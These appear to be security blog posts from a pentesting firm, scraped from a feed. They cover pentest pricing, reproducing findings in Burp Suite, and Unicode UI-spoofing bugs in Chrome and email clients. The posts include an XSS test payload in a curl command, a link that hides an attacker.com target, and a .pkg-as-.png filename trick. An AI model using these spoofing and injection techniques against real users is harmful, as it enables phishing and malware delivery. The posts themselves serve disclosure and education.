<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/07/black-gray-white-box-pentest-vulnerabilities.png" alt="Black vs Gray vs White Vulnerabilities" class="wp-image-603" style="object-fit:cover"/ loading="lazy" class="lazyload"></figure></div>


<p><em>Speaking very generally</em>, black box pentests produce vastly lower vulnerabilities than gray box. White box pentests produce more, but not vastly more issue than a gray box.</p>



<p>Now let’s quantify the money spent. To measure the “weight” of high, medium, and low risk issues, we will give the following &#8216;value&#8217; to each:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Risk</th><th>Points</th></tr></thead><tbody><tr><td>High</td><td>1</td></tr><tr><td>Medium</td><td>.5</td></tr><tr><td>Low</td><td>.25</td></tr></tbody></table></figure>



<p>We end up with the following value for each:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Risk</th><th>Black Box</th><th>Gray Box</th><th>White Box</th></tr></thead><tbody><tr><td>High</td><td>0</td><td>9</td><td>11</td></tr><tr><td>Medium</td><td>2</td><td>8</td><td>12</td></tr><tr><td>Low</td><td>3</td><td>10</td><td>15</td></tr><tr><td>Total Points</td><td>1.75</td><td>15.5</td><td>20.75</td></tr></tbody></table></figure>



<p>And now for the final dollar per vulnerability point:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th></th><th>Black Box</th><th>Gray Box</th><th>White Box</th></tr></thead><tbody><tr><td>Cost</td><td>$4,000</td><td>$12,000</td><td>$30,000</td></tr><tr><td>Points</td><td>1.75</td><td>15.5</td><td>20.75</td></tr><tr><td>Cost Per Vulnerability</td><td>$2,285</td><td>$774</td><td>$1,445</td></tr></tbody></table></figure>



<p>When we show this into our highly scientific chart, you can see the vulnerability points significantly increase after the black box category, vulnerabilities decrease when getting into the white box territory:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2021/07/vulnerabilities-returned-1.png" alt="White Box vs Gray Box vulnerabilities" class="wp-image-740" style="object-fit:cover"/ loading="lazy" class="lazyload"></figure></div>


<h2 class="wp-block-heading" id="h-which-one-is-right-for-you">Which one is right for you?</h2>



<p>Consider some of the downsides of a black box test:</p>



<ol class="wp-block-list">
<li>The findings returned will generally be minimal. The test is essentially only covering the login page and leaves the vast majority of the application untouched.</li>



<li>The cost of engagement for a vendor for small projects can still be expensive. Pentest consultancies usually have minimum engagement costs which can lead to wasteful spending.</li>



<li>A black box pentest report will not satisfy all requirements. For software/SaaS companies, potential clients will generally expect to see a gray box pentest report. This is the industry standard way to give clients assurance of your application security.</li>
</ol>



<p>Despite the downsides, there are still times where a black box pentest is appropriate:</p>



<ol class="wp-block-list">
<li>Applications that are no longer maintained, and a minimum level of security assurance is needed.</li>



<li>Applications which contain little to no sensitive information.</li>



<li>Circumstances where a gray box pentest is simply not financially feasible. In times where budget cannot be allocated to a gray box pentest, a black box pentest is of course better than nothing. In summary, if you’re finding yourself in the Black Box vs. Gray box dilemma, chances are the gray box is the more prudent choice. A black box test is better than nothing, and a White Box test is nice if you have a large budget for critical application, but the most <em>value</em> will typically be found in the gray box.</li>
</ol>



<h2 class="wp-block-heading" id="h-conclusion">Conclusion</h2>



<p>When in doubt, it may be best to seek the advice of the <a href="https://www.virtuesecurity.com/5-tips-for-selecting-a-penetration-testing-company-in-2020/">pentesting company</a> performing the assessment. Weighing internal constraints against industry norms may help decide which pentest is right for you.</p>
<p>The post <a href="https://www.virtuesecurity.com/black-box-vs-gray-box-vs-white-box-pentesting-explained/">Black Box vs. Gray Box vs. White Box Pentesting Explained</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1152</post-id>	</item>
		<item>
		<title>Developing Like A Pentester &#8211; (And How To Reproduce Any Vulnerability)</title>
		<link>https://www.virtuesecurity.com/developing-like-a-pentester/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Tue, 29 Dec 2020 08:26:35 +0000</pubDate>
				<category><![CDATA[Application]]></category>
		<guid isPermaLink="false">https://virtuedatabase.staging-valmax.com.ua/?p=623</guid>

					<description><![CDATA[<p>Reproducing vulnerabilities from a pentest report is a pain, but with just a few simple tips it doesn't have to be.</p>
<p>The post <a href="https://www.virtuesecurity.com/developing-like-a-pentester/">Developing Like A Pentester &#8211; (And How To Reproduce Any Vulnerability)</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Reproducing the vulnerabilities documented in a pentest report is a common engineering pain point. But aligning developer skills with the tooling used during the pentest can help confirm issues faster, and deploy fixes faster.</p>



<h2 class="wp-block-heading" id="h-the-tools-of-the-trade">The Tools Of The Trade</h2>



<p><a href="https://portswigger.net/burp">BurpSuite</a> (or &#8220;Burp&#8221;) is the industry standard framework for performing professional application penetration tests. For developers, there are a few key features that greatly improve on standard browser debuggers:</p>



<ul class="wp-block-list">
<li>Clearly view raw requests/response pairs. &nbsp;</li>



<li>Replay (and modify) requests. &nbsp;</li>



<li>Intercept (and modify) requests.</li>
</ul>



<h3 class="wp-block-heading" id="h-installing-burpsuite">Installing BurpSuite</h3>



<p>Burp has a free community edition that contains all the key features above. This can be downloaded here: <a href="https://portswigger.net/burp/releases">https://portswigger.net/burp/releases</a></p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img width="800" height="206" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/12/burp-download-releases-800x206-1.png" alt="Burp download" class="wp-image-1364"/ loading="lazy" class="lazyload" srcset="https://www.virtuesecurity.com/wp-content/uploads/2020/12/burp-download-releases-800x206-1.png 800w, https://www.virtuesecurity.com/wp-content/uploads/2020/12/burp-download-releases-800x206-1-300x77.png 300w, https://www.virtuesecurity.com/wp-content/uploads/2020/12/burp-download-releases-800x206-1-768x198.png 768w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<h3 class="wp-block-heading" id="h-how-it-works">How it Works</h3>



<p>Burp is &#8220;MITM proxy&#8221; and thus can inspect all HTTP and Websocket traffic. A browser must be configured to use the local proxy (<code>127.0.0.1:8080</code>) and trust Burps root Certificate Authority certificate. Fortunately, Burp includes a pre-configured Chrome binary:</p>



<p>Navigate to <code>Proxy</code> &#8211; <code>Intercept</code> &#8211; <code>Open Browser</code> to open the browser.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/12/open-preconfigured-browser.png" alt="Open Burp's Browser" class="wp-image-625" style="object-fit:cover"/ loading="lazy" class="lazyload"></figure></div>


<p>Once you open the browser, you can navigate and authenticate to your application. By default, &#8220;Intercept&#8221; is toggled on, and you will probably want toggle that off:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/12/burp-toggle-intercept.png" alt="Burp toggle intercept" class="wp-image-626" style="object-fit:cover"/ loading="lazy" class="lazyload"></figure></div>


<h3 class="wp-block-heading" id="h-trusting-the-root-certificate">Trusting the Root Certificate</h3>



<p>Burp needs to proxy TLS connections and must be able to inspect SSL. If you see certificate errors with the pre-configured browser, you should install Burp&#8217;s CA certificate at the system level.</p>



<p>When Burp is running, a web interface is available at <code>http://burp</code> from the configured browser.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/12/burp-web-interface.png" alt="Burp web interface" class="wp-image-635" style="object-fit:cover"/ loading="lazy" class="lazyload"></figure></div>


<p>On Windows you can follow the following steps to trust the certificate:</p>



<p>1 Click <code>CA Certificate</code> and download the <code>cacert.der</code> certificate. &nbsp; 2 Double-click the der file and click <code>Install Certificate</code> &nbsp; 3 Select <code>Current User</code> &nbsp; 4 Select <code>Place all certificates in the following store</code> &nbsp; 5 Select <code>Trusted Root Certification Authorities</code></p>



<h2 class="wp-block-heading" id="h-reproducing-common-pentest-vulnerabilities">Reproducing Common Pentest Vulnerabilities</h2>



<p>Now let&#8217;s look at some real world examples of vulnerabilities we can test for. These examples highlight workflows that can be used to confirm and test for a great deal of pentesting test cases.</p>



<h3 class="wp-block-heading" id="h-are-session-tokens-invalidated-after-logoff">Are Session Tokens Invalidated After Logoff?</h3>



<p>When a user logs out of an application, the session token should be terminated. A common vulnerability exists when the token is only cleared from the browser, and not actually invalidated by the application. To test for this we can do the following:</p>



<p>1. Login to the application and generate a request that proves we&#8217;re authenticated. Below a request retrieving chart data will work great.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img width="800" height="407" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/12/burp-view-authenticated-request-800x407-1.png" alt="View authenticated request" class="wp-image-1365"/ loading="lazy" class="lazyload" srcset="https://www.virtuesecurity.com/wp-content/uploads/2020/12/burp-view-authenticated-request-800x407-1.png 800w, https://www.virtuesecurity.com/wp-content/uploads/2020/12/burp-view-authenticated-request-800x407-1-300x153.png 300w, https://www.virtuesecurity.com/wp-content/uploads/2020/12/burp-view-authenticated-request-800x407-1-768x391.png 768w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>2. Send the request to &#8216;Repeater&#8217;</p>



<p>In <code>Proxy</code> &#8211; <code>HTTP History</code> we can right click on any request and send its contents to repeater:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/12/burp-send-to-repeater.png" alt="Burp send to repeater" class="wp-image-627"/ loading="lazy" class="lazyload"></figure></div>


<p>3. Click Logout to end the session</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/12/logout-button.png" alt="Click Logout" class="wp-image-628"/ loading="lazy" class="lazyload"></figure></div>


<p>4. Return to the repeater tab, and send the previously used request.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img width="800" height="238" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/12/repeating-request-800x238-1.png" alt="Burp repeating pentest request" class="wp-image-1366"/ loading="lazy" class="lazyload" srcset="https://www.virtuesecurity.com/wp-content/uploads/2020/12/repeating-request-800x238-1.png 800w, https://www.virtuesecurity.com/wp-content/uploads/2020/12/repeating-request-800x238-1-300x89.png 300w, https://www.virtuesecurity.com/wp-content/uploads/2020/12/repeating-request-800x238-1-768x228.png 768w" sizes="(max-width: 800px) 100vw, 800px" /></figure></div>


<p>Now we can see the session token cannot be replayed and is now terminated on the server side. Had we seen that we can still use the request to access the API, the vulnerability would be considered still open.</p>



<h3 class="wp-block-heading" id="h-modify-a-request-on-the-fly">Modify a Request &#8220;on the fly&#8221;</h3>



<p>In many situations it will be difficult to simply replay a previous request. In cases of file uploads, single-use CSRF tokens, and other complex requests, it is easier to use a browser to make each new request.</p>



<p>By using Burp&#8217;s Intercept, we can tell Burp to hold all requests before sending them to the server. We can then modify, forward, or drop all requests as we please.</p>



<h3 class="wp-block-heading" id="h-reproducing-cross-site-scripting-xss-vulnerabilities">Reproducing Cross-site Scripting (XSS) Vulnerabilities</h3>



<p>Scenario: Our super secure app uses JavaScript to prevent users from entering bad characters. But the pentest team told us they still found XSS in a form field.</p>



<p>When trying to reproduce this with a browser, our security controls worked! How could this be?</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/12/client-side-control.png" alt="Client side security controls" class="wp-image-631"/ loading="lazy" class="lazyload"></figure></div>


<p>As it turns out, client-side security controls are fundamentally flawed; users ultimately have full control of client-side JavaScript. To bypass these controls, a pentester can use the form as it was intended, but enable Burp&#8217;s Intercept. When this feature is on, all requests are halted here so we can edit and forward or drop before they are sent on.</p>



<p>In the example below, we populated the form with safe characters, but injected the dangerous payload here:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/12/bypass-with-intercept.png" alt="Exploit XSS with Intercept" class="wp-image-632"/ loading="lazy" class="lazyload"></figure></div>


<h3 class="wp-block-heading" id="h-miscellaneous-raw-requests">Miscellaneous Raw Requests</h3>



<p>By now you should have the tools and skills to reproduce any vulnerability which is reasonably documented on an application pentest report. Remember that as long as you have a raw request, you can cut and paste this into Repeater. Just remember to update the actual network hostname of the application:</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img width="746" height="421" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/12/burp-raw-request-1.png" alt="Burp raw request" class="wp-image-1543"/ loading="lazy" class="lazyload" srcset="https://www.virtuesecurity.com/wp-content/uploads/2020/12/burp-raw-request-1.png 746w, https://www.virtuesecurity.com/wp-content/uploads/2020/12/burp-raw-request-1-300x169.png 300w" sizes="(max-width: 746px) 100vw, 746px" /></figure></div>


<h3 class="wp-block-heading" id="h-other-common-pentest-issues">Other Common Pentest Issues</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th><em>Vulnerability</em></th><th><em>Test Method</em></th></tr></thead><tbody><tr><td><a href="https://www.virtuesecurity.com/kb/testing-cookie-based-session-management/">Session Cookies</a> Not Marked Secure &nbsp;</td><td>Observe response headers after authentication</td></tr><tr><td>Insufficient Cache Controls &nbsp;</td><td>Observe headers on pages containing sensitive data.</td></tr><tr><td>Username Enumeration</td><td>Login valid use/invalid password &#8211; send response to comparer. Login invalid user &#8211; send response to comparer.</td></tr></tbody></table></figure>



<h3 class="wp-block-heading" id="h-helping-teammates-with-curl-commands">Helping Teammates with Curl Commands</h3>



<p>Your teammates may not adopt Burp, but you can still help them. Burp allows any request from your proxy history to be copied as a curl command. Just right click anywhere you see a request displayed and <code>Copy as curl command</code>.</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/12/copy-as-curl.png" alt="Burp copy as curl" class="wp-image-634"/ loading="lazy" class="lazyload"></figure></div>


<p>You can see this in your clipboard:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="curl -i -s -k -X $'POST' \
     -H $'Host: staging.example.com' -H $'Connection: close' -H $'Content-Length: 36' -H
$'Accept: */*' \
  --data-binary $'username=&lt;script&gt;alert(1)&lt;/script&gt;' \    
  $'https://staging.example.com/api/settings'" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #DCDCAA">curl</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-i</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-s</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-k</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-X</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">$&#39;POST&#39;</span><span style="color: #D4D4D4"> </span><span style="color: #D7BA7D">\</span></span>
<span class="line"><span style="color: #D4D4D4">     </span><span style="color: #569CD6">-H</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">$&#39;Host: staging.example.com&#39;</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-H</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">$&#39;Connection: close&#39;</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-H</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">$&#39;Content-Length: 36&#39;</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-H</span></span>
<span class="line"><span style="color: #DCDCAA">$</span><span style="color: #DCDCAA">&#39;Accept: */*&#39;</span><span style="color: #D4D4D4"> </span><span style="color: #D7BA7D">\</span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #569CD6">--data-binary</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">$&#39;username=&lt;script&gt;alert(1)&lt;/script&gt;&#39;</span><span style="color: #D4D4D4"> </span><span style="color: #D7BA7D">\ </span><span style="color: #D4D4D4">   </span></span>
<span class="line"><span style="color: #D4D4D4">  </span><span style="color: #DCDCAA">$</span><span style="color: #DCDCAA">&#39;https://staging.example.com/api/settings&#39;</span></span></code></pre></div>



<h2 class="wp-block-heading" id="h-conclusion">Conclusion</h2>



<p>These methods should give you the ability to quickly generate any request you need and modify them just as a pentester would.</p>
<p>The post <a href="https://www.virtuesecurity.com/developing-like-a-pentester/">Developing Like A Pentester &#8211; (And How To Reproduce Any Vulnerability)</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1153</post-id>	</item>
		<item>
		<title>Pentesting User Interfaces: How to Phish Any Chrome, Outlook, or Thunderbird User</title>
		<link>https://www.virtuesecurity.com/pentesting-user-interfaces/</link>
		
		<dc:creator><![CDATA[admin___vs]]></dc:creator>
		<pubDate>Mon, 29 Jun 2020 15:50:16 +0000</pubDate>
				<category><![CDATA[Application]]></category>
		<guid isPermaLink="false">https://virtuedatabase.staging-valmax.com.ua/?p=477</guid>

					<description><![CDATA[<p>In this blog post, we demonstrate how graphical user interfaces could be vulnerable to spoofing attacks by using certain Unicode characters.</p>
<p>The post <a href="https://www.virtuesecurity.com/pentesting-user-interfaces/">Pentesting User Interfaces: How to Phish Any Chrome, Outlook, or Thunderbird User</a> appeared first on <a href="https://www.virtuesecurity.com">Virtue Security</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading" id="h-if-you-received-this-email-could-you-spot-the-malware">If you received this email, could you spot the malware?</h2>


        <figure class="blog-img no-br">
            <img width="674" height="223" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/06/chrome-phishing-email-1.png" class="attachment-full size-full" alt="Chrome phishing email" srcset="https://www.virtuesecurity.com/wp-content/uploads/2020/06/chrome-phishing-email-1.png 674w, https://www.virtuesecurity.com/wp-content/uploads/2020/06/chrome-phishing-email-1-300x99.png 300w" sizes="(max-width: 674px) 100vw, 674px" / loading="lazy" class="lazyload">                            <a href="https://www.virtuesecurity.com/wp-content/uploads/2020/06/chrome-phishing-email.png"                    target="_self" title=""></a>
                    </figure>
    


<p>Social engineering attacks can range from classical &#8220;Nigerian prince&#8221; scams to really sophisticated spear phishing techniques. In this blog post, we explore some <a href="https://www.virtuesecurity.com/services/">application pentesting</a> techniques and show how certain UI bugs could be exploited to fool even the most tech-savvy of users.</p>



<p>There is no doubt that every modern piece of software now utilizes graphical user interfaces in one way or another. GUI elements are often used to display some of the most critical pieces of information which we base our decisions on. Take the web browser you&#8217;re using right now to read this blog post for example &#8211; you trust that the address bar displays the true URL of the current webpage, don&#8217;t you? If it instead displayed the domain name of your bank, would you trust it?</p>



<p>Likewise, you trust that the sender address that your email client shows is the actual sender address of the emails you receive, and so you decide whether to trust the content of these emails or not based on that. After all, we now have email authentication technologies in place to prevent email spoofing such as SPF (Sender Policy Framework), DKIM (DomainKeys Identified Mail), and DMARC (Domain-based Message Authentication, Reporting &amp; Conformance).</p>



<p>But what if these GUI components could be tricked into displaying fake information, wouldn&#8217;t we lose all trust in those programs to the point they become useless?</p>



<p>GUI elements do have inherent limitations which we can exploit. First, they are limited by your screen size, and they often have fixed width or height. And likely they expect data in a certain format or language to display.</p>



<h2 class="wp-block-heading" id="h-chrome-link-spoofing">Chrome Link Spoofing</h2>



<p>Let&#8217;s take some practical examples to illustrate our point. Imagine that you received a link in an email. When you hover over the link, you see &#8220;https://google.com/bear.png&#8221; as such:<br></p>


        <figure class="blog-img ">
            <img width="674" height="223" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/06/statusbubble-1.png" class="attachment-full size-full" alt="Status Bubble" srcset="https://www.virtuesecurity.com/wp-content/uploads/2020/06/statusbubble-1.png 674w, https://www.virtuesecurity.com/wp-content/uploads/2020/06/statusbubble-1-300x99.png 300w" sizes="(max-width: 674px) 100vw, 674px" / loading="lazy" class="lazyload">                            <a href="https://www.virtuesecurity.com/wp-content/uploads/2020/12/statusbubble.png"                    target="_self" title=""></a>
                    </figure>
    


<p>This does seem safe to click as it points to the official Google domain name (google.com) and leads to a harmless .png photo, right?</p>



<p>But it isn&#8217;t what it seems, this is the true link in HTML:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="&lt;a href=&quot;https://attacker.com/#&#x26;#x2028;&#x26;#x2028;
https://google.com/bear.png&quot;&gt;https://google.com/bear.png&lt;/a&gt;" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #808080">&lt;</span><span style="color: #569CD6">a</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">href</span><span style="color: #D4D4D4">=</span><span style="color: #CE9178">&quot;https://attacker.com/#</span><span style="color: #569CD6">&amp;#x2028;&amp;#x2028;</span></span>
<span class="line"><span style="color: #CE9178">https://google.com/bear.png&quot;</span><span style="color: #808080">&gt;</span><span style="color: #D4D4D4">https://google.com/bear.png</span><span style="color: #808080">&lt;/</span><span style="color: #569CD6">a</span><span style="color: #808080">&gt;</span></span></code></pre></div>



<p>As you can see, the link actually points to &#8220;attacker.com&#8221; and not &#8220;google.com&#8221;. But because of the U+2028 (LINE SEPARATOR) Unicode character in the hash part of the URL (HTML-encoded as &#8220; &#8221;), the status bubble on the bottom left corner of the browser rendered the URL with new lines like this:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="https://attacker.com/#

https://google.com/bear.png" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">https://attacker.com/#</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">https://google.com/bear.png</span></span></code></pre></div>



<p>And as the status bubble has fixed height, it failed to display the full multi-line URL, so the only part of the URL that got displayed was the bottom part &#8220;https://google.com/bear.png&#8221;.</p>



<h2 class="wp-block-heading" id="h-hiding-malicious-downloads">Hiding Malicious Downloads</h2>



<p>Clicking the link would cause a file named &#8220;bear.png&#8221; to get downloaded in Google Chrome&#8217;s download bar:<br></p>


        <figure class="blog-img no-br">
            <img width="248" height="45" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/06/bear.png" class="attachment-full size-full" alt="Chrome&#039;s Download Bar" / loading="lazy" class="lazyload">                            <a href="https://www.virtuesecurity.com/wp-content/uploads/2020/06/bear.png"                    target="_self" title=""></a>
                    </figure>
    


<p>But the true file extension is &#8220;.pkg&#8221; and not &#8220;.png&#8221;. The full file name is actually &#8220;bear.png[U+2028][U+2028].pkg&#8221; where [U+2028] is the Unicode line separator character which gets rendered as a new line, causing the &#8220;.pkg&#8221; extension at the end of the file name to get rendered out of view.</p>



<p>In other words, this causes Chrome to render the file name as:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="bear.png

.pkg" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">bear.png</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">.pkg</span></span></code></pre></div>



<p>The second/third line obviously cannot fit on screen, giving us the ability to spoof any extension we want.</p>



<p>Now you might think that you still wouldn&#8217;t click a link or open any attachments from an untrusted source even if it points to a trusted domain name or looks like a harmless &#8220;.png&#8221; file. But what if the sender address could be spoofed as well for any domain name in spite of SPF/DKIM/DMARC/whatever?</p>



<h2 class="wp-block-heading" id="h-pentesting-email-clients">Pentesting Email Clients</h2>



<p>Take a look at the sender addresses in these emails:</p>



<h3 class="wp-block-heading" id="h-yahoo-mail"><strong>Yahoo! Mail</strong></h3>



<figure class="wp-block-image size-full"><img width="435" height="199" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/06/yahoo.png" alt="Yahoo! Mail Spoof" class="wp-image-480"/ loading="lazy" class="lazyload" srcset="https://www.virtuesecurity.com/wp-content/uploads/2020/06/yahoo.png 435w, https://www.virtuesecurity.com/wp-content/uploads/2020/06/yahoo-300x137.png 300w" sizes="(max-width: 435px) 100vw, 435px" /></figure>



<h3 class="wp-block-heading" id="h-mozilla-thunderbird-cve-2020-12397"><strong>Mozilla Thunderbird (CVE-2020-12397)</strong></h3>


        <figure class="blog-img no-br">
            <img width="701" height="82" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/06/thunderbird-1-1.png" class="attachment-full size-full" alt="Thunderbird Spoof" data-srcset="https://www.virtuesecurity.com/wp-content/uploads/2020/06/thunderbird-1-1.png 701w, https://www.virtuesecurity.com/wp-content/uploads/2020/06/thunderbird-1-1-300x35.png 300w" sizes="(max-width: 701px) 100vw, 701px" / loading="lazy" class="lazyload">                    </figure>
    


<h3 class="wp-block-heading" id="h-microsoft-outlook"><strong>Microsoft Outlook</strong></h3>



